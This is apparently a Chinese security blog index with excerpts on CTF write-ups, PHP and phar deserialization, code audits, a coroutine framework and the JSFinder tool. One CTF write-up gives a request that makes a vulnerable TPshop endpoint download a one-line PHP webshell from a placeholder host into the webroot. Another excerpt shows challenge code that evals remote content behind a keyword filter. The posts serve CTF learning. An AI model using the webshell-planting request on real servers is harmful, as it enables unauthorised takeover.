说在前面

在业内由于某些不可抗力的因素,我们不得不去做一些麻烦的事情来备份资料。为了尽最大可能挽留那些知识,也就有了这篇文章和最后的脚本。(文章和脚本写的都异常粗糙,希望师傅们不要介意。)

关于网站复制:

网站复制,也可称为网站备份。是通过工具将网页上的内容全部保存下来。当然不仅仅只是保存了一个html页面,而是将网页源码内所包含的css、js和静态文件等全部保存,以在本地也可以完整的浏览整个网站。网络上也有一些类似的工具,但使用起来并不理想。于是我打算自己写一个Python脚本,方便个人对网站的备份,也方便一些网络资料的收集。

Weiterlesen »

Threezh1 Jokuuy Playmaker 2019年11月23日

离结束只有40多分钟了,web题ak了之后不会修… 把wp写一下吧。web四个题都是简单的代码审计题。

粤湾基金

地址: http://172.16.9.41:9005/

是一个TPshop的商城框架,界面如图所示:

image-20191123151942020

漏洞文件:\application\home\controller\Test.php

漏洞函数:dlfile()

1
2
3
4
5
6
7
8
9
10
11
12
public function dlfile($file_url, $save_to)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch,CURLOPT_URL,$file_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$file_content = curl_exec($ch);
curl_close($ch);
$downloaded_file = fopen($save_to, 'w');
fwrite($downloaded_file, $file_content);
fclose($downloaded_file);
}

本地写一个包含一句话的木马(shell.txt)然后访问:

1
/Home/Test/dlfile?file_url=http://xxxx/shell.txt&save_to=/var/www/html/shell.php

然后用蚁剑连接:/shell.php 即可。

Weiterlesen »

OKLite介绍

OKLite是一套极简企业站系统,主要目标群体是展示型企业网站用户,让传统小企业快速布署网站,加强自身品牌意识,实现对公司形象的宣传。本系统最初是PHPOK程序精简而来。在同等配置下,OKLite速度优于PHPOK达30%以上。 (此版本在2018年已停止维护)

系统链接:https://www.phpok.com/oklite.html

基本情况

路由

网站有三个入口(前端,接口,后台),都是通过action()方法进行初始化。

01.jpg

不同的入口传入指定的方法中执行动作:

02.jpg

访问:http://127.0.0.1/admin.php?c=upload&f=save

会调用framework\admin\upload_control.php中的save_f方法。

Weiterlesen »

说在前面

对于PHP反序列化,原来也就只是浅尝而止。最近看到很多题的出现了多种没有了解过的反序列化形式,就此进一步学习一下。其中很多内容都参考了师傅们的博客,部分内容经过自己的修改。如果存在错误,还望师傅们指出。

Weiterlesen »

说在前面

这次参与了ByteCTF,尝试做了boringcode和EZCMS。虽然都没做出来,但是学到了很多东西。

这次通过ALTM4NZ师傅的wp来分析一下boringcode这道题并学习一下无参数函数的利用。

boringcode

看一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

这个页面的作用是,接受一个url参数,利用file_get_content远程获取url页面的源码,传递给eval执行。但在url传递和源码传递过程中有各种检测。

Weiterlesen »

前言

除了unserialize()来利用反序列化漏洞之外,还可以利用phar文件以序列化的形式存储用户自定义的meta-data这一特性,扩大php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

这次在比赛当中遇到phar反序列化,却不知道如何下手。社区里前面也有人总结过,但没有包括一些ctf利用和zxc师傅发现的姿势。于是就自己来整理了。

Weiterlesen »

Threezh1 2019年8月22日

最近在接触一下协程,上手不易,拖了很长时间才把这个小框架完成。有些地方很简陋,后面慢慢完善吧。

做这个的想法是方便自己后面编写需要用到协程的脚本。(还有忘记协程的知识点了就过来复习)

先看框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import asyncio, functools
import time

def SomeFunction(parameter):
"""
这里是目标函数,脚本的功能都应在此函数当中。
参数个数都由自己确定,需要与functools.partial调用的参数一致。
"""
time.sleep(1)
return parameter

async def coroutine_execution(function, param1):
"""
通过run_in_executor方法来新建一个线程来执行耗时函数。
注意:functools.partial调用的参数应与目标函数一致
"""
loop = asyncio.get_event_loop()
result = await loop.run_in_executor(None,functools.partial(function, parameter=param1))
# result为目标函数返回的值
print(result)

def coroutine_init(function, parameters, threads):
"""
处理线程
coroutine_execution()调用协程函数,可自行修改参数个数内容等。
"""
times = int(len(parameters) / threads) + 1
if len(parameters) == threads or int(len(parameters) % threads) == 0: times -= 1
for num in range(times):
tasks = []
Minimum = threads * num
Maximum = threads * (num + 1)
if num == times - 1 and len(parameters) % threads != 0:
Minimum = (times - 1) * threads
Maximum = len(parameters)
if len(parameters) <= threads:
Minimum = 0
Maximum = len(parameters)
for i in range(Minimum, Maximum):
# 此处的parameters[i]就是取目标参数的单个值,可自行调整
future = asyncio.ensure_future(coroutine_execution(function, param1=parameters[i]))
tasks.append(future)
loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.wait(tasks))
print("[*] The {}th thread ends".format(str(num + 1)))
return None

if __name__ == "__main__":
words = ["Hello World.", "I'm Threezh1.", "Welcome to my blog.", "One", "Tow", "Three", "Four"]
coroutine_init(SomeFunction, parameters=words, threads=3)
Weiterlesen »

1. exec()

使用exec来执行Python导入模块的命令。

1
2
3
module_name = "module01"
exec("import " + module_name)
module01.echo()

2. __import__()

单独使用__import__() 可以直接加载模块,但是当需要动态加载类、函数时,就需要配合getattr来实现。

实现步骤:

  1. 获取模块名(module_name)
  2. 使用__import__(module_name)导入Python模块
  3. 使用getattr(module_name, class_name/function_name)获取类、方法的对象
    Weiterlesen »

说在前面

最近吃饭的时候总是会想很多关于易语言的事情。易语言是我学会的第一门语言,虽然它被喷的很惨很惨,具体可见:易语言 知乎。但是由于它极高的上手性,还是成为我高中时期最喜欢的编程工具。(当时我还没听说过Python)易语言画界面是非常简单的,用鼠标拖动一下组件,简简单单的几句代码就可以写一个简单的GUI程序。我想,在界面化的程序上,除了Web程序上用Javascript和CSS画界面。对于我这样懒惰的人,易语言无非是一个比较好的选择。Python,熟悉易语言的我在刚学Python时极度不适应,但是在学习了一段时间之后,我就改变了我的想法,Python真的太舒服了…

不说得太远了,先说下我最近的想法(疑问):

  1. 易语言能和Python结合起来吗?
  2. 结合的方式应该是怎样的?
  3. 结合起来有什么用?

在自问自答上面的问题之前,先来看一看易语言与Python有什么不同点:

易语言与Python的不同

先来看看易语言与Python编程环境的不同:

  • 易语言:

environment_e.jpg

environment_e_script.jpg

易语言这个弹出输入的内容,我只写了一行代码,其他的只是组件的大小和位置,这些易语言都已经安排好了,只需要添加参数即可。

那用Python写一个这样的弹出输入框的程序需要多少行代码呢?

Weiterlesen »

项目地址:https://github.com/Threezh1/JSFinder

关于 JSFinder

JSFinder is a tool for quickly extracting URLs and subdomains from JS files on a website.

JSFinder是一款用作快速在网站的js文件中提取URL,子域名的工具。

提取URL的正则部分使用的是LinkFinder

By : Threezh1

Blog: https://threezh1.github.io/

用法

  • 简单爬取

python JSFinder.py -u http://www.mi.com

这个命令会爬取 http://www.mi.com 这单个页面的所有的js链接,并在其中发现url和子域名

返回示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
url:http://www.mi.com                                         
Find 50 URL:
http://api-order.test.mi.com
http://api.order.mi.com
http://userid.xiaomi.com/userId
http://order.mi.com/site/login?redirectUrl=
...已省略

Find 26 Subdomain:
api-order.test.mi.com
api.order.mi.com
userid.xiaomi.com
order.mi.com
...已省略
Weiterlesen »
0%